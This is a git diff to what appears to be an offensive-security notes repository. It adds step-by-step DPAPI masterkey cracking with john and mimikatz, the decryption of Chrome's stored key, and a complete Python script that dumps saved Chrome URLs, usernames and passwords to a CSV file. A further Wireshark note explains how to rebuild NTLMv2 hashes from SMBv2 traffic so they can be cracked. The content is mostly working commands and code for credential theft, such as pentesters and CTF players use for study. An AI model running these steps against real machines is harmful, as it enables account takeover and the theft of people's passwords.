diff --git a/Exploits/Windows/DPAPI.md b/Exploits/Windows/DPAPI.md index 8ea8716..f4767d2 100644 --- a/Exploits/Windows/DPAPI.md +++ b/Exploits/Windows/DPAPI.md @@ -5,7 +5,166 @@ * [tinyapps' replace and recover domian cached credentials](https://tinyapps.org/docs/domain-cached-credentials.html) * [ired's reading dpapi encrypted secrets with mimikatz and c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++) -## Tools +## Extract DPAPI Masterkey from AppData + +First find the user passwords inside `C:\Users\\AppData\Roaming\Microsoft\Protect\\` + +```sh +DPAPImk2john --sid --masterkey --context local > hash.txt +john --wordlist= hash.txt +``` + +Use mimikatz on windows to extract the masterkey after the password has been discovered. + +```sh +mimikatz +dpapi::masterkey /in: /sid: /password: /protected +``` + +This master key is used to derive keys for encryption or encrypt other keys +instead of just encrypting files directly through DPAPI. + +## Use a DPAPI Masterkey to Decrypt an Encrypted Blob + +The found masterkey can be used to decrypt encrypted data or even other keys +which are used for file encryption. +Use mimikatz to extract data/keys from an encrypted blob. + +```sh +mimikatz +dpapi::blob /in: /unprotect /masterkey: /out:"./decrypted_blob" +``` + +### Use of DPAPI in Google Chrome + +Google Chrome encrypts the key of which is used for password vaults of the +users. The `encrypted_key` inside a JSON file named `Local State` is an DPAPI +encrypted key. Get the key through using jq. + +```sh +jq .os_crypt.encrypted_key -r AppData/Local/Google/Chrome/User\ Data/\Local\ State +``` + +The `encrypted_key` itself is encrypted through DPAPI. To decrypt it, base64 +decode it at first and remove the first 5 characters, which are `DPAPI` from +the decoded string. + +```sh +jq .os_crypt.encrypted_key -r \ +AppData/Local/Google/Chrome/User\ Data/\Local\ State | \ +base64 -d | \ +cut -c-6- > encrypted_key.dat +``` + +This `encrypted_key.dat` is used to encrypt data inside the sqlite database inside +`AppData/Local/Google/Chrome/User\ Data/Default/Login\ Data`. + +```sh +mimikatz +dpapi::blob /in:"./encrypted_key.dat" /unprotect /masterkey: /out:"./decrypted.key" +``` + +Decrypt the Database via a modified version of +[ohyicong](https://github.com/ohyicong/decrypt-chrome-passwords.git), depending +on the following circumstances. + +* Modify the secret_key function if you got the key through AppData and cannot log in as the user you want to attack +* Modify the column names of select query, depending on the version of Chrome + +```python +#Full Credits to LimerBoy +import os +import re +import sys +import json +import base64 +import sqlite3 +import win32crypt +from Cryptodome.Cipher import AES +import shutil +import csv + +#GLOBAL CONSTANT +CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFILE'])) +CHROME_PATH = os.path.normpath(r"%s\Desktop\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE'])) + +def get_secret_key(): + with open('./decrypted.key', 'rb') as f: + return f.read() + +def decrypt_payload(cipher, payload): + return cipher.decrypt(payload) + +def generate_cipher(aes_key, iv): + return AES.new(aes_key, AES.MODE_GCM, iv) + +def decrypt_password(ciphertext, secret_key): + try: + #(3-a) Initialisation vector for AES decryption + initialisation_vector = ciphertext[3:15] + #(3-b) Get encrypted password by removing suffix bytes (last 16 bits) + #Encrypted password is 192 bits + encrypted_password = ciphertext[15:-16] + #(4) Build the cipher to decrypt the ciphertext + cipher = generate_cipher(secret_key, initialisation_vector) + decrypted_pass = decrypt_payload(cipher, encrypted_password) + decrypted_pass = decrypted_pass.decode() + return decrypted_pass + except Exception as e: + print("%s"%str(e)) + print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.") + return "" + +def get_db_connection(chrome_path_login_db): + try: + print(chrome_path_login_db) + shutil.copy2(chrome_path_login_db, "Loginvault.db") + return sqlite3.connect("Loginvault.db") + except Exception as e: + print("%s"%str(e)) + print("[ERR] Chrome database cannot be found") + return None + +if __name__ == '__main__': + try: + #Create Dataframe to store passwords + with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file: + csv_writer = csv.writer(decrypt_password_file, delimiter=',') + csv_writer.writerow(["index","url","username","password"]) + #(1) Get secret key + secret_key = get_secret_key() + #Search user profile or default folder (this is where the encrypted login password is stored) + folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$",element)!=None] + for folder in folders: + #(2) Get ciphertext from sqlite database + chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data"%(CHROME_PATH,folder)) + conn = get_db_connection(chrome_path_login_db) + if(secret_key and conn): + cursor = conn.cursor() + cursor.execute("SELECT origin_url, username_value, password_value FROM logins") + for index,login in enumerate(cursor.fetchall()): + url = login[0] + username = login[1] + ciphertext = login[2] + if(url!="" and username!="" and ciphertext!=""): + #(3) Filter the initialisation vector & encrypted password from ciphertext + #(4) Use AES algorithm to decrypt the password + decrypted_password = decrypt_password(ciphertext, secret_key) + print("Sequence: %d"%(index)) + print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password)) + print("*"*50) + #(5) Save into CSV + csv_writer.writerow([index,url,username,decrypted_password]) + #Close database connection + cursor.close() + conn.close() + #Delete temp login db + os.remove("Loginvault.db") + except Exception as e: + print("[ERR] %s"%str(e)) +``` + +## Other Tools * [tjldeneut's dpaping-lab](https://github.com/tijldeneut/dpapilab-ng.git) * [BlackDiverX's unpacked cqtools]( https://github.com/BlackDiverX/cqtools) diff --git a/Forensics/Wireshark.md b/Forensics/Wireshark.md index 0abdb50..c647b26 100644 --- a/Forensics/Wireshark.md +++ b/Forensics/Wireshark.md @@ -18,3 +18,22 @@ Search for the DNS requests containing the specific top level domain. ```sh tshark -r capture.pcapng -Y 'dns && ip.dst==167.71.211.113 && (dns contains xyz)' -T fields -e dns.qry.name | awk -F '.' '{print $1}' | uniq > dns.out ``` + +## NTLMv2 hash Reconstruction via SMBv2 + +Session setup of SMBv2 leaves enough information to reconstruct the NTLMv2 hash. +Take a look at the second and third packets of the initialization, namely +`Session Setup Response, Error: STATUS_MORE_PROCESSING_REQUIRED, NTLMSSP_CHALLENGE` +and `Session Setup Request, NTLMSSP_AUTH, User: `. + +The scheme of an NTLMv2 hash is the following. + +``` +[User name]::[Domain name]:[NTLM Server Challenge]:[NTProofStr]:[Rest of NTLMv2 Response] +``` + +The `NTLM Server Challenge` can be found inside the `Security Blob` of the +request from the server. +`User name`, `Domain name` and `NTLMv2 Response` can be found inside the +`Security Blob` inside the response sent by the client. `NTProofStr` is the +first part of the `NTLM Response`. Set a `:` between `NTProofStr` and the rest of the `NTLMv2 Response`.